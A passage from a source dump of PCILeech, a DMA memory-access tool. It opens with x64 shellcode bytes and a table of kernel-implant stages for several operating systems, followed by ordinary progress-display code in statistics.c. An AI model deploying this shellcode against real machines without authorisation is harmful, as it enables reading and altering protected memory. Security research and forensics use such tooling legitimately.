0x48, 0x83, 0x0f, 0x04, 0xeb, 0x04, 0x48,\n    0x83, 0x0f, 0x08, 0x41, 0xf7, 0x01, 0x00, 0x02, 0x00, 0x00, 0x74, 0x15,\n    0x48, 0x8b, 0x0a, 0x48, 0x83, 0xc2, 0x10, 0x49, 0x03, 0xcd, 0x48, 0x69,\n    0xc1, 0x80, 0x96, 0x98, 0x00, 0x48, 0x89, 0x47, 0x18, 0x41, 0xf7, 0x01,\n    0x00, 0x04, 0x00, 0x00, 0x74, 0x15, 0x48, 0x8b, 0x0a, 0x48, 0x83, 0xc2,\n    0x10, 0x49, 0x03, 0xcd, 0x48, 0x69, 0xc1, 0x80, 0x96, 0x98, 0x00, 0x48,\n    0x89, 0x47, 0x10, 0x41, 0xf7, 0x01, 0x00, 0x10, 0x00, 0x00, 0x74, 0x15,\n    0x48, 0x8b, 0x0a, 0x48, 0x83, 0xc2, 0x10, 0x49, 0x03, 0xcd, 0x48, 0x69,\n    0xc1, 0x80, 0x96, 0x98, 0x00, 0x48, 0x89, 0x47, 0x08, 0x41, 0x8b, 0x41,\n    0x0c, 0xa8, 0x02, 0x74, 0x07, 0x48, 0x8b, 0x02, 0x48, 0x89, 0x47, 0x30,\n    0x8b, 0x85, 0xf0, 0x01, 0x00, 0x00, 0x48, 0xff, 0xc3, 0x49, 0x81, 0xc4,\n    0x40, 0x02, 0x00, 0x00, 0x48, 0x3b, 0xd8, 0x0f, 0x82, 0xd5, 0xfe, 0xff,\n    0xff, 0x8b, 0x9d, 0x08, 0x02, 0x00, 0x00, 0x48, 0x8b, 0x74, 0x24, 0x58,\n    0x4c, 0x8b, 0xb5, 0xf8, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0x6c, 0x24, 0x68,\n    0x4c, 0x8b, 0x65, 0x80, 0x49, 0x8b, 0x4e, 0x60, 0x49, 0x8b, 0xd5, 0xe8,\n    0x89, 0xf9, 0xff, 0xff, 0x8b, 0x85, 0xf0, 0x01, 0x00, 0x00, 0x41, 0xb9,\n    0x00, 0x00, 0x01, 0x00, 0x49, 0x8b, 0x8f, 0x08, 0x02, 0x00, 0x00, 0x48,\n    0x03, 0xf0, 0x49, 0x03, 0x4f, 0x28, 0x45, 0x33, 0xc0, 0x49, 0x8b, 0xbf,\n    0x10, 0x02, 0x00, 0x00, 0x83, 0xa5, 0xf0, 0x01, 0x00, 0x00, 0x00, 0x48,\n    0x81, 0xc7, 0x00, 0x00, 0xff, 0xff, 0x48, 0x03, 0xf9, 0x48, 0x89, 0x74,\n    0x24, 0x58, 0x49, 0x8b, 0x8f, 0x48, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xd7,\n    0x48, 0x89, 0x7c, 0x24, 0x60, 0xe8, 0x3b, 0xf9, 0xff, 0xff, 0x48, 0x83,\n    0x64, 0x24, 0x20, 0x00, 0x4c, 0x8b, 0xc6, 0x49, 0x8b, 0x4e, 0x58, 0x41,\n    0xb9, 0x02, 0x00, 0x00, 0x00, 0x41, 0x8d, 0x51, 0xff, 0xe8, 0x1f, 0xf9,\n    0xff, 0xff, 0x49, 0x8b, 0x4e, 0x40, 0x41, 0xb9, 0x00, 0x00, 0x01, 0x00,\n    0x4c, 0x8b, 0xc7, 0x48, 0x89, 0x44, 0x24, 0x68, 0x48, 0x8b, 0xd0, 0x4c,\n    0x8b, 0xe8, 0xe8, 0x02, 0xf9, 0xff, 0xff, 0x45, 0x33, 0xc0, 0x48, 0x85,\n    0xc0, 0x0f, 0x84, 0x76, 0xfd, 0xff, 0xff, 0xbb, 0x02, 0x00, 0x00, 0xf0,\n    0x4d, 0x85, 0xed, 0x74, 0x0f, 0x49, 0x8b, 0x4e, 0x60, 0x49, 0x8b, 0xd5,\n    0xe8, 0xe0, 0xf8, 0xff, 0xff, 0x45, 0x33, 0xc0, 0x48, 0x8b, 0x54, 0x24,\n    0x50, 0x48, 0x85, 0xd2, 0x74, 0x0c, 0x49, 0x8b, 0x4e, 0x08, 0xe8, 0xca,\n    0xf8, 0xff, 0xff, 0x45, 0x33, 0xc0, 0x48, 0x85, 0xf6, 0x41, 0x0f, 0x45,\n    0xd8, 0x8b, 0xc3, 0x48, 0x8b, 0x9c, 0x24, 0x00, 0x03, 0x00, 0x00, 0x48,\n    0x81, 0xc4, 0xb0, 0x02, 0x00, 0x00, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d,\n    0x41, 0x5c, 0x5f, 0x5e, 0x5d, 0xc3, 0x48, 0x8d, 0x04, 0xf6, 0x48, 0xc1,\n    0xe0, 0x06, 0x49, 0x89, 0x87, 0x00, 0x02, 0x00, 0x00, 0xeb, 0xa1, 0xcc,\n    0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x18, 0x56, 0x57,\n    0x41, 0x56, 0x48, 0x83, 0xec, 0x30, 0x48, 0x8b, 0xe9, 0x33, 0xdb, 0x48,\n    0x8b, 0x4a, 0x50, 0x49, 0x8b, 0xf0, 0x48, 0x21, 0x5c, 0x24, 0x58, 0x48,\n    0x8b, 0xfa, 0xe8, 0x66, 0xf8, 0xff, 0xff, 0x48, 0x8b, 0x0f, 0x48, 0x8d,\n    0x56, 0x18, 0x4c, 0x8d, 0x4c, 0x24, 0x58, 0x48, 0x89, 0x44, 0x24, 0x20,\n    0x45, 0x33, 0xc0, 0x4c, 0x8b, 0xf0, 0xe8, 0x4a, 0xf8, 0xff, 0xff, 0x48,\n    0x85, 0xc0, 0x74, 0x0a, 0xbb, 0x02, 0x00, 0x00, 0xf0, 0xe9, 0x98, 0x00,\n    0x00, 0x00, 0x4c, 0x8b, 0x86, 0x28, 0x03, 0x00, 0x00, 0x41, 0xb9, 0x02,\n    0x00, 0x00, 0x00, 0x48, 0x8b, 0x4f, 0x58, 0x48, 0x21, 0x5c, 0x24, 0x20,\n    0x41, 0x8d, 0x51, 0xff, 0xe8, 0x1c, 0xf8, 0xff, 0xff, 0x4c, 0x8b, 0x85,\n    0x08, 0x02, 0x00, 0x00, 0x48, 0x8b, 0xd0, 0x4c, 0x03, 0x45, 0x28, 0x48,\n    0x8b, 0xf0, 0x4c, 0x8b, 0x8d, 0x10, 0x02, 0x00, 0x00, 0x48, 0x8b, 0x4f,\n    0x40, 0xe8, 0xfb, 0xf7, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x74, 0x07, 0xbb,\n    0x02, 0x00, 0x00, 0xf0, 0xeb, 0x3b, 0x48, 0x8b, 0x54, 0x24, 0x58, 0x45,\n    0x33, 0xc9, 0x48, 0x8b, 0x4f, 0x28, 0x4c, 0x8b, 0xc6, 0x4c, 0x89, 0x74,\n    0x24, 0x20, 0xe8, 0xd6, 0xf7, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x75, 0xdb,\n    0x48, 0x8b, 0x4f, 0x48, 0x48, 0x8b, 0xd6, 0xe8, 0xc5, 0xf7, 0xff, 0xff,\n    0x48, 0x8b, 0x8d, 0x10, 0x02, 0x00, 0x00, 0x48, 0x2b, 0xc8, 0x48, 0x89,\n    0x8d, 0x00, 0x02, 0x00, 0x00, 0x48, 0x85, 0xf6, 0x74, 0x0c, 0x48, 0x8b,\n    0x4f, 0x60, 0x48, 0x8b, 0xd6, 0xe8, 0xa3, 0xf7, 0xff, 0xff, 0x48, 0x8b,\n    0x54, 0x24, 0x58, 0x48, 0x85, 0xd2, 0x74, 0x09, 0x48, 0x8b, 0x4f, 0x08,\n    0xe8, 0x90, 0xf7, 0xff, 0xff, 0x48, 0x8b, 0x6c, 0x24, 0x60, 0x8b, 0xc3,\n    0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x83, 0xc4, 0x30, 0x41, 0x5e, 0x5f,\n    0x5e, 0xc3, 0xcc, 0xcc, 0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48,\n    0x89, 0x68, 0x18, 0x48, 0x89, 0x70, 0x20, 0x57, 0x41, 0x56, 0x41, 0x57,\n    0x48, 0x83, 0xec, 0x40, 0x48, 0x8b, 0x4a, 0x50, 0x33, 0xdb, 0x48, 0x21,\n    0x58, 0x10, 0x49, 0x8b, 0xe8, 0x49, 0x8b, 0x40, 0x10, 0x48, 0x8b, 0xfa,\n    0x4c, 0x8b, 0xf8, 0x48, 0xc1, 0xe8, 0x04, 0x49, 0xc1, 0xe7, 0x04, 0x83,\n    0xe0, 0x08, 0x41, 0x81, 0xe7, 0x00, 0x04, 0x00, 0x00, 0x4c, 0x0b, 0xf8,\n    0x49, 0x83, 0xcf, 0x01, 0xe8, 0x2c, 0xf7, 0xff, 0xff, 0x48, 0x8b, 0x4f,\n    0x18, 0x48, 0x8d, 0x55, 0x18, 0x48, 0x89, 0x44, 0x24, 0x30, 0x4c, 0x8b,\n    0xf0, 0x48, 0x8d, 0x44, 0x24, 0x68, 0x45, 0x33, 0xc9, 0x48, 0x89, 0x44,\n    0x24, 0x28, 0x4d, 0x8b, 0xc7, 0x48, 0x21, 0x5c, 0x24, 0x20, 0xe8, 0x02,\n    0xf7, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x74, 0x0a, 0xbb, 0x02, 0x00, 0x00,\n    0xf0, 0xe9, 0xa5, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0x85, 0x28, 0x03, 0x00,\n    0x00, 0x41, 0xb9, 0x02, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x4f, 0x58, 0xc7,\n    0x44, 0x24, 0x20, 0x01, 0x00, 0x00, 0x00, 0x41, 0x8d, 0x51, 0xff, 0xe8,\n    0xd1, 0xf6, 0xff, 0xff, 0x4c, 0x8b, 0x8d, 0x30, 0x03, 0x00, 0x00, 0x4c,\n    0x8d, 0x85, 0x38, 0x03, 0x00, 0x00, 0x48, 0x8b, 0x4f, 0x40, 0x48, 0x8b,\n    0xd0, 0x48, 0x8b, 0xf0, 0xe8, 0xb4, 0xf6, 0xff, 0xff, 0x48, 0x85, 0xc0,\n    0x74, 0x07, 0xbb, 0x02, 0x00, 0x00, 0xf0, 0xeb, 0x49, 0x48, 0x8b, 0x54,\n    0x24, 0x68, 0x45, 0x33, 0xc9, 0x48, 0x8b, 0x4f, 0x30, 0x4c, 0x8b, 0xc6,\n    0x4c, 0x89, 0x74, 0x24, 0x20, 0xe8, 0x8f, 0xf6, 0xff, 0xff, 0x48, 0x85,\n    0xc0, 0x75, 0xdb, 0x49, 0x0f, 0xba, 0xe7, 0x0a, 0x73, 0x24, 0x4c, 0x8b,\n    0x85, 0x28, 0x03, 0x00, 0x00, 0x45, 0x33, 0xc9, 0x4c, 0x03, 0x85, 0x30,\n    0x03, 0x00, 0x00, 0x48, 0x8b, 0x54, 0x24, 0x68, 0x48, 0x8b, 0x4f, 0x10,\n    0x4c, 0x89, 0x74, 0x24, 0x20, 0xe8, 0x5f, 0xf6, 0xff, 0xff, 0x48, 0x85,\n    0xf6, 0x74, 0x0c, 0x48, 0x8b, 0x4f, 0x60, 0x48, 0x8b, 0xd6, 0xe8, 0x4e,\n    0xf6, 0xff, 0xff, 0x48, 0x8b, 0x54, 0x24, 0x68, 0x48, 0x85, 0xd2, 0x74,\n    0x12, 0x48, 0x8b, 0x4f, 0x20, 0x4d, 0x8b, 0xce, 0x41, 0xb8, 0x00, 0x00,\n    0x01, 0x00, 0xe8, 0x32, 0xf6, 0xff, 0xff, 0x48, 0x8b, 0x6c, 0x24, 0x70,\n    0x8b, 0xc3, 0x48, 0x8b, 0x5c, 0x24, 0x60, 0x48, 0x8b, 0x74, 0x24, 0x78,\n    0x48, 0x83, 0xc4, 0x40, 0x41, 0x5f, 0x41, 0x5e, 0x5f, 0xc3, 0xcc, 0xcc,\n    0x40, 0x53, 0x48, 0x81, 0xec, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x54,\n    0x24, 0x20, 0x48, 0x8b, 0xd9, 0xe8, 0x6e, 0xf6, 0xff, 0xff, 0x85, 0xc0,\n    0x75, 0x0a, 0xb8, 0x01, 0x00, 0x00, 0xf0, 0xe9, 0x9a, 0x00, 0x00, 0x00,\n    0x4c, 0x8b, 0x83, 0x08, 0x01, 0x00, 0x00, 0x4c, 0x03, 0x43, 0x28, 0x48,\n    0x81, 0xbb, 0x00, 0x01, 0x00, 0x00, 0x38, 0x03, 0x00, 0x00, 0x72, 0x7d,\n    0x48, 0xb8, 0x0f, 0x13, 0xaa, 0x93, 0xad, 0x20, 0xe7, 0x79, 0x49, 0x39,\n    0x00, 0x75, 0x6e, 0x41, 0xf6, 0x40, 0x10, 0x10, 0x75, 0x67, 0x49, 0x8b,\n    0x40, 0x08, 0x48, 0x83, 0xf8, 0x01, 0x75, 0x11, 0x48, 0x8d, 0x54, 0x24,\n    0x20, 0x48, 0x8b, 0xcb, 0xe8, 0xfb, 0xf8, 0xff, 0xff, 0x8b, 0xc0, 0xeb,\n    0x51, 0x48, 0x83, 0xf8, 0x03, 0x75, 0x0f, 0x48, 0x8d, 0x54, 0x24, 0x20,\n    0x48, 0x8b, 0xcb, 0xe8, 0x04, 0xfd, 0xff, 0xff, 0xeb, 0xe7, 0x48, 0x83,\n    0xf8, 0x02, 0x75, 0x0f, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0xcb,\n    0xe8, 0x07, 0xfe, 0xff, 0xff, 0xeb, 0xd2, 0x48, 0x83, 0xf8, 0x04, 0x75,\n    0x0f, 0x48, 0x8d, 0x54, 0x24, 0x20, 0x48, 0x8b, 0xcb, 0xe8, 0x2a, 0xf8,\n    0xff, 0xff, 0xeb, 0xbd, 0x48, 0x83, 0xf8, 0x05, 0x75, 0x13, 0xb8, 0x0b,\n    0x00, 0x00, 0xf0, 0xeb, 0x05, 0xb8, 0x06, 0x00, 0x00, 0xf0, 0x48, 0x89,\n    0x83, 0x20, 0x02, 0x00, 0x00, 0x48, 0x81, 0xc4, 0x90, 0x00, 0x00, 0x00,\n    0x5b, 0xc3, 0x00\n};\n\nconst SHELLCODE_DEFAULT_STRUCT SHELLCODE_DEFAULT[] = {\n    {.sz = \"DEFAULT_WINX64_STAGE1\",.pb = (PBYTE)WINX64_STAGE1_BIN,.cb = sizeof(WINX64_STAGE1_BIN)},\n    {.sz = \"DEFAULT_WINX64_STAGE2\",.pb = (PBYTE)WINX64_STAGE2_BIN,.cb = sizeof(WINX64_STAGE2_BIN)},\n    {.sz = \"DEFAULT_WINX64_STAGE3\",.pb = (PBYTE)WINX64_STAGE3_BIN,.cb = sizeof(WINX64_STAGE3_BIN)},\n    {.sz = \"DEFAULT_WINX64_STAGE2_HAL\",.pb = (PBYTE)WINX64_STAGE2_HAL_BIN,.cb = sizeof(WINX64_STAGE2_HAL_BIN)},\n    {.sz = \"DEFAULT_WINX64_STAGE23_VMM\",.pb = (PBYTE)WINX64_STAGE23_VMM,.cb = sizeof(WINX64_STAGE23_VMM) },\n    {.sz = \"DEFAULT_WINX64_STAGE23_VMM3\",.pb = (PBYTE)WINX64_STAGE23_VMM3,.cb = sizeof(WINX64_STAGE23_VMM3) },\n    {.sz = \"DEFAULT_WINX64_VFS_KSH\",.pb = (PBYTE)WINX64_VFS_KSH,.cb = sizeof(WINX64_VFS_KSH)},\n    {.sz = \"DEFAULT_WINX64_UMD_EXEC\",.pb = (PBYTE)WINX64_UMD_EXEC,.cb = sizeof(WINX64_UMD_EXEC)},\n    {.sz = \"DEFAULT_LINUX_X64_STAGE1\",.pb = (PBYTE)LINUX_X64_STAGE1_BIN,.cb = sizeof(LINUX_X64_STAGE1_BIN)},\n    {.sz = \"DEFAULT_LINUX_X64_STAGE2\",.pb = (PBYTE)LINUX_X64_STAGE2_BIN,.cb = sizeof(LINUX_X64_STAGE2_BIN)},\n    {.sz = \"DEFAULT_LINUX_X64_STAGE3\",.pb = (PBYTE)LINUX_X64_STAGE3_BIN,.cb = sizeof(LINUX_X64_STAGE3_BIN)},\n    {.sz = \"DEFAULT_LINUX_X64_STAGE2_EFI\",.pb = (PBYTE)LINUX_X64_STAGE2_EFI_BIN,.cb = sizeof(LINUX_X64_STAGE2_EFI_BIN)},\n    {.sz = \"DEFAULT_LINUX_X64_VFS_KSH\",.pb = (PBYTE)LINUX_X64_VFS_KSH,.cb = sizeof(LINUX_X64_VFS_KSH)},\n    {.sz = \"DEFAULT_MACOS_STAGE1\",.pb = (PBYTE)MACOS_STAGE1_BIN,.cb = sizeof(MACOS_STAGE1_BIN)},\n    {.sz = \"DEFAULT_MACOS_STAGE2\",.pb = (PBYTE)MACOS_STAGE2_BIN,.cb = sizeof(MACOS_STAGE2_BIN)},\n    {.sz = \"DEFAULT_MACOS_STAGE3\",.pb = (PBYTE)MACOS_STAGE3_BIN,.cb = sizeof(MACOS_STAGE3_BIN)},\n    {.sz = \"DEFAULT_MACOS_VFS_KSH\",.pb = (PBYTE)MACOS_VFS_KSH,.cb = sizeof(MACOS_VFS_KSH)},\n    {.sz = \"DEFAULT_FREEBSD_X64_STAGE1\",.pb = (PBYTE)FREEBSD_X64_STAGE1_BIN,.cb = sizeof(FREEBSD_X64_STAGE1_BIN)},\n    {.sz = \"DEFAULT_FREEBSD_X64_STAGE2\",.pb = (PBYTE)FREEBSD_X64_STAGE2_BIN,.cb = sizeof(FREEBSD_X64_STAGE2_BIN)},\n    {.sz = \"DEFAULT_FREEBSD_X64_STAGE3\",.pb = (PBYTE)FREEBSD_X64_STAGE3_BIN,.cb = sizeof(FREEBSD_X64_STAGE3_BIN)},\n    {.sz = \"DEFAULT_UEFI_X64\",.pb = (PBYTE)UEFI_X64_BIN,.cb = sizeof(UEFI_X64_BIN) },\n};\n\n#endif /* __SHELLCODE_H__ */\n"
  },
  {
    "path": "pcileech/statistics.c",
    "content": "// statistics.c : implementation of statistics related functionality.\n//\n// (c) Ulf Frisk, 2016-2026\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n#include \"statistics.h\"\n#include \"oscompatibility.h\"\n\nVOID _PageStatPrintMemMap(_Inout_ PPAGE_STATISTICS ps)\n{\n    QWORD i, qwAddrEnd;\n    if(!ps->i.fIsFirstPrintCompleted) {\n        printf(\" Memory Map:                                     \\n START              END               #PAGES   \\n\");\n    }\n    if(!ps->i.MemMapIdx) {\n        printf(\"                                                 \\n                                                 \\n\");\n        return;\n    }\n    if(ps->i.MemMapIdx >= PAGE_STATISTICS_MEM_MAP_MAX_ENTRY - 2) {\n        printf(\" Maximum number of memory map entries reached.   \\n                                                 \\n\");\n        return;\n    }\n    for(i = max(1, ps->i.MemMapPrintIdx); i <= ps->i.MemMapIdx; i++) {\n        if(!ps->i.MemMap[i].cPages) {\n            break;\n        }\n        qwAddrEnd = ps->i.MemMap[i].qwAddrBase + ((QWORD)ps->i.MemMap[i].cPages << 12);\n        printf(\n            \" %016llx - %016llx  %08x   \\n\",\n            ps->i.MemMap[i].qwAddrBase,\n            qwAddrEnd - 1,\n            ps->i.MemMap[i].cPages);\n    }\n    ps->i.MemMapPrintIdx = ps->i.MemMapIdx;\n    if(!ps->i.MemMap[1].cPages) { // print extra line for formatting reasons.\n        printf(\" (No memory successfully read yet)               \\n\");\n    }\n    printf(\"                                                 \\n\");\n}\n\nVOID _PageStatShowUpdate(_Inout_ PPAGE_STATISTICS ps)\n{\n    if(0 == ps->cPageTotal) { return; }\n    QWORD qwPercentTotal = ((ps->cPageSuccess + ps->cPageFail) * 100) / ps->cPageTotal;\n    QWORD qwPercentSuccess = (ps->cPageSuccess * 200 + 1) / (ps->cPageTotal * 2);\n    QWORD qwPercentFail = (ps->cPageFail * 200 + 1) / (ps->cPageTotal * 2);\n    QWORD qwTickCountElapsed = GetTickCount64() - ps->i.qwTickCountStart;\n    QWORD qwSpeed = ((ps->cPageSuccess + ps->cPageFail) * 4) / (1 + (qwTickCountElapsed / 1000));\n    HANDLE hConsole;\n    CONSOLE_SCREEN_BUFFER_INFO consoleInfo;\n    BOOL isMBs = qwSpeed >= 2048;\n    if(ps->i.fIsFirstPrintCompleted) {\n#ifdef WIN32\n        hConsole = GetStdHandle(STD_OUTPUT_HANDLE);\n        GetConsoleScreenBufferInfo(hConsole, &consoleInfo);\n        consoleInfo.dwCursorPosition.Y -= ps->i.fMemMap ? 9 : 7;\n        SetConsoleCursorPosition(hConsole, consoleInfo.dwCursorPosition);\n#endif /* WIN32 */\n#if defined(LINUX) || defined(MACOS)\n        printf(ps->i.fMemMap ? \"\\033[9A\" : \"\\033[7A\"); // move cursor up 7/9 positions\n#endif /* LINUX || MACOS */\n    }\n    if(ps->i.fMemMap) {\n        _PageStatPrintMemMap(ps);\n    }\n    if(ps->File.fFileRead) {\n        printf(\n            \" Current Action: %s                             \\n\" \\\n            \" Access Mode:    %s                             \\n\" \\\n            \" Speed:          %llu %s                        \\n\" \\\n            \" Start offset:   0x%016llX  (%llu)              \\n\" \\\n            \" Current offset: 0x%016llX  (%llu)              \\n\" \\\n            \"                                                \\n\" \\\n            \"                                                \\n\",\n            ps->szAction,\n            ps->fKMD ? \"KMD (kernel module assisted DMA)\" : \"Normal                          \",\n            (isMBs ? qwSpeed >> 10 : qwSpeed),\n            (isMBs ? \"MB/s\" : \"kB/s\"),\n            ps->File.qwBaseOffset, ps->File.qwBaseOffset,\n            ps->File.qwCurrentOffset, ps->File.qwCurrentOffset);\n    } else if(ps->cPageTotal < 0x0000000fffffffff) {\n        printf(\n            \" Current Action: %s                             \\n\" \\\n            \" Access Mode:    %s                             \\n\" \\\n            \" Progress:       %llu / %llu (%llu%%)           \\n\" \\\n            \" Speed:          %llu %s                        \\n\" \\\n            \" Address:        0x%016llX                      \\n\" \\\n            \" Pages read:     %llu / %llu (%llu%%)           \\n\" \\\n            \" Pages failed:   %llu (%llu%%)                  \\n\",\n            ps->szAction,\n            ps->fKMD ? \"KMD (kernel module assisted DMA)\" : \"Normal                          \",\n            (ps->cPageSuccess + ps->cPageFail) / 256,\n            ps->cPageTotal / 256,\n            qwPercentTotal,\n            (isMBs ? qwSpeed >> 10 : qwSpeed),\n            (isMBs ? \"MB/s\" : \"kB/s\"),\n            ps->qwAddr,\n            ps->cPageSuccess,\n            ps->cPageTotal,\n            qwPercentSuccess,\n            ps->cPageFail,\n            qwPercentFail);\n    } else {\n        printf(\n            \" Current Action: %s                             \\n\" \\\n            \" Access Mode:    %s                             \\n\" \\\n            \" Progress:       %llu / (unknown)               \\n\" \\\n            \" Speed:          %llu %s                        \\n\" \\\n            \" Address:        0x%016llX                      \\n\" \\\n            \" Pages read:     %llu                           \\n\" \\\n            \" Pages failed:   %llu                           \\n\",\n            ps->szAction,\n            ps->fKMD ? \"KMD (kernel module assisted DMA)\" : \"Normal                          \",\n            (ps->cPageSuccess + ps->cPageFail) / 256,\n            (isMBs ? qwSpeed >> 10 : qwSpeed),\n            (isMBs ? \"MB/s\" : \"kB/s\"),\n            ps->qwAddr,\n            ps->cPageSuccess,\n            ps->cPageFail);\n    }\n    ps->i.fIsFirstPrintCompleted = TRUE;\n}\n\nVOID WINAPI _PageStatThreadLoop(_In_ PPAGE_STATISTICS ps)\n{\n    while(!ps->i.fThreadExit) {\n        Sleep(100);\n        if(ps->i.fUpdate) {\n            ps->i.fUpdate = FALSE;\n            _PageStatShowUpdate(ps);\n        }\n    }\n    ExitThread(0);\n}\n\nVOID PageStatClose(_In_opt_ PPAGE_STATISTICS *ppPageStat)\n{\n    BOOL status;\n    DWORD dwExitCode;\n    if(!ppPageStat || !*ppPageStat) { return; }\n    (*ppPageStat)->i.fUpdate = TRUE;\n    (*ppPageStat)->i.fThreadExit = TRUE;\n    while((status = GetExitCodeThread((*ppPageStat)->i.hThread, &dwExitCode)) && STILL_ACTIVE == dwExitCode) {\n        SwitchToThread();\n    }\n    if(!status) {\n        Sleep(200);\n    }\n    CloseHandle((*ppPageStat)->i.hThread);\n    LocalFree(*ppPageStat);\n    *ppPageStat = NULL;\n}\n\n_Success_(return)\nBOOL PageStatInitialize(_Out_ PPAGE_STATISTICS *ppPageStat, _In_ QWORD qwAddrBase, _In_ QWORD qwAddrMax, _In_ LPSTR szAction, _In_ BOOL fKMD, _In_ BOOL fMemMap)\n{\n    PPAGE_STATISTICS ps;\n    ps = *ppPageStat = LocalAlloc(LMEM_ZEROINIT, sizeof(PAGE_STATISTICS));\n    if(!ps) { return FALSE; }\n    ps->qwAddr = qwAddrBase;\n    ps->cPageTotal = (qwAddrMax - qwAddrBase + 1) / 4096;\n    ps->szAction = szAction;\n    ps->fKMD = fKMD;\n    ps->i.fMemMap = fMemMap;\n    ps->i.qwTickCountStart = GetTickCount64();\n    ps->i.hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)_PageStatThreadLoop, ps, 0, NULL);\n    return TRUE;\n}\n\nVOID PageStatUpdate(_In_opt_ PPAGE_STATISTICS pPageStat, _In_ QWORD qwAddr, _In_ QWORD cPageSuccessAdd, _In_ QWORD cPageFailAdd)\n{\n    if(!pPageStat) { return; }\n    pPageStat->qwAddr = qwAddr;\n    pPageStat->cPageSuccess += cPageSuccessAdd;\n    pPageStat->cPageFail += cPageFailAdd;\n    // add to memory map\n    if(cPageSuccessAdd && (pPageStat->i.MemMapIdx < PAGE_STATISTICS_MEM_MAP_MAX_ENTRY - 1)) {\n        if(!pPageStat->i.MemMapIdx || (qwAddr - (cPageSuccessAdd << 12)) != (pPageStat->i.MemMap[pPageStat->i.MemMapIdx].qwAddrBase + ((QWORD)pPageStat->i.MemMap[pPageStat->i.MemMapIdx].cPages << 12))) {\n            pPageStat->i.MemMapIdx++;\n            pPageStat->i.MemMap[pPageStat->i.MemMapIdx].qwAddrBase = qwAddr - (cPageSuccessAdd << 12);\n        }\n        pPageStat->i.MemMap[pPageStat->i.MemMapIdx].cPages += (DWORD)cPageSuccessAdd;\n    }\n    pPageStat->i.fUpdate = TRUE;\n}\n\n//-----------------------------------------------------------------------------\n// SEARCH STATISTICS BELOW:\n//-----------------------------------------------------------------------------\n\nVOID StatSearch_ShowUpdate(_Inout_ PSTATISTICS_SEARCH ps)\n{\n    QWORD qwTickCountElapsed = max(1, GetTickCount64() - ps->i.qwTickCountStart);\n    QWORD qwSpeed = (ps->ctxs->cbReadTotal / 1024) / qwTickCountElapsed;\n    HANDLE hConsole;\n    CONSOLE_SCREEN_BUFFER_INFO consoleInfo;\n    if(ps->i.fIsFirstPrintCompleted) {\n#ifdef WIN32\n        hConsole = GetStdHandle(STD_OUTPUT_HANDLE);\n        GetConsoleScreenBufferInfo(hConsole, &consoleInfo);\n        consoleInfo.dwCursorPosition.Y -= 8;\n        SetConsoleCursorPosition(hConsole, consoleInfo.dwCursorPosition);\n#endif /* WIN32 */\n#if defined(LINUX) || defined(MACOS)\n        printf(\"\\033[8A\"); // move cursor up 8 positions\n#endif /* LINUX || MACOS */\n    }\n    printf(\n        \" Current Action:  %s                    \\n\" \\\n        \" PID:             %i                    \\n\" \\\n        \" Min Address:     0x%llx                \\n\" \\\n        \" Current Address: 0x%llx                \\n\" \\\n        \" Max Address:     0x%llx                \\n\" \\\n        \" MB Read:         %llu                  \\n\" \\\n        \" MB/s:            %llu                  \\n\" \\\n        \" Search hits:     %i                    \\n\",\n        ps->szAction,\n        ctxMain->cfg.dwPID,\n        ps->ctxs->vaMin,\n        ps->ctxs->vaCurrent,\n        ps->ctxs->vaMax,\n        ps->ctxs->cbReadTotal / (1024 * 1204),\n        qwSpeed,\n        ps->ctxs->cResult\n    );\n    ps->i.fIsFirstPrintCompleted = TRUE;\n}\n\nVOID WINAPI StatSearch_ThreadLoop(_In_ PSTATISTICS_SEARCH ps)\n{\n    while(!ps->i.fThreadExit) {\n        Sleep(100);\n        StatSearch_ShowUpdate(ps);\n    }\n    ExitThread(0);\n}\n\n/*\n* Initialize the search statistics. This will also start displaying the search\n* statistics on the screen asynchronously. Call StatSearchClose() to stop.\n* -- ppStatSearch\n* -- ctxs\n* -- szAction\n* -- return\n*/\n_Success_(return)\nBOOL StatSearchInitialize(_Inout_ PSTATISTICS_SEARCH *ppStatSearch, _In_ PVMMDLL_MEM_SEARCH_CONTEXT ctxs, _In_ LPSTR szAction)\n{\n    PSTATISTICS_SEARCH ps;\n    ps = *ppStatSearch = LocalAlloc(LMEM_ZEROINIT, sizeof(STATISTICS_SEARCH));\n    if(!ps) { return FALSE; }\n    ps->ctxs = ctxs;\n    ps->szAction = szAction;\n    ps->i.qwTickCountStart = GetTickCount64();\n    ps->i.hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)StatSearch_ThreadLoop, ps, 0, NULL);\n    return TRUE;\n}\n\n/*\n* Do one last update of the on-screen page statistics.\n* -- ppStatSearch = ptr to the PSTATISTICS_SEARCH struct to close and free.\n*/\nVOID StatSearchClose(_In_opt_ PSTATISTICS_SEARCH *ppStatSearch)\n{\n    BOOL status;\n    DWORD dwExitCode;\n    if(!ppStatSearch || !*ppStatSearch) { return; }\n    (*ppStatSearch)->i.fUpdate = TRUE;\n    (*ppStatSearch)->i.fThreadExit = TRUE;\n    while((status = GetExitCodeThread((*ppStatSearch)->i.hThread, &dwExitCode)) && STILL_ACTIVE == dwExitCode) {\n        SwitchToThread();\n    }\n    if(!status) {\n        Sleep(200);\n    }\n    CloseHandle((*ppStatSearch)->i.hThread);\n    LocalFree(*ppStatSearch);\n    *ppStatSearch = NULL;\n}\n"
  },
  {
    "path": "pcileech/statistics.h",
